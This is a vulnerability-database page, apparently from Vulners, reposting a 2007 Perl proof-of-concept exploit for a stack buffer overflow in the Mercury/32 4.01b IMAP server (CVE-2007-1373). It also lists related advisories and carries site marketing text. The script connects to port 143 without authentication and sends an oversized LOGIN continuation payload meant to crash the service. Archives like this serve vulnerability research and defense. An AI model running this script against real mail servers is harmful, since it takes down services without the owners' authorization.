Lucene search
+L

Mercury/32 Mail Server 4.01b - 'check' Buffer Overflow (PoC)

🗓️ 06 Mar 2007 00:00:00Reported by mu-bType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 73 Views

Mercury/32 Mail Server 4.01b remote exploit for stack-based buffer overflo

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2007-1373
22 Jun 201000:00
circl
cve
CVE
CVE-2007-1373
10 Mar 200700:00
cve
cvelist
Cvelist
CVE-2007-1373
10 Mar 200700:00
cvelist
exploitdb
Exploit DB
Mercury/32 Mail Server 4.01a (Pegasus) - IMAP Buffer Overflow
20 Sep 200500:00
exploitdb
exploitdb
Exploit DB
Mercury/32 Mail Server < 4.01b - LOGIN Buffer Overflow (Metasploit)
22 Jun 201000:00
exploitdb
metasploit
Metasploit
Mercury/32 4.01 IMAP LOGIN SEH Buffer Overflow
2 Oct 200805:23
metasploit
nvd
NVD
CVE-2007-1373
10 Mar 200700:19
nvd
packetstorm
Packet Storm
Mercury/32 <= 4.01b LOGIN Buffer Overflow
26 Nov 200900:00
packetstorm
prion
Prion
Stack overflow
10 Mar 200700:19
prion
saint
Saint
Mercury IMAP data continuation buffer overflow
22 Mar 200700:00
saint
Rows per page
#!/usr/bin/perl
#
# mercurypown-v1.pl
#
# Mercury/32 <v4.01b (win32) remote exploit
# by mu-b - 28 Nov 2006
#
# - Tested on: Mercury/32 v4.01a (win32)
#              Mercury/32 v4.01b (win32)
#
# Stack-based buffer overflow caused by Mercury/32 concatenating
# continuation data into a fixed sized buffer disregarding
# the length of the original command, you do not require authentication.
#
# This is a little harder to exploit than usual since the
# stack frame in question calls end_thread before returning..
# buts it's still possible by at *least* two different ways...
# (i.e. controlling a pointer into sprintf and/or controlling
#  a pointer to be free()).
#
########

use Getopt::Std; getopts('t:n:', \%arg);
use Socket;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 1;

my $NOP = 'A';
my $LEN = 9200;#8928;
my $BUFLEN = 8192;

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");
    $buf = "1 LOGIN".(" "x($LEN-$BUFLEN))."\{255\}\n";
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    print("-> * Sending payload\n");
    $buf = $NOP x 255;
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    print("-> * Sending payload 2\n");
    $buf = $NOP x $BUFLEN;
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("Mercury/32 <v4.01b (win32) remote exploit\n");
    print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
    print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1337);
}

# milw0rm.com [2007-03-06]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.58687
73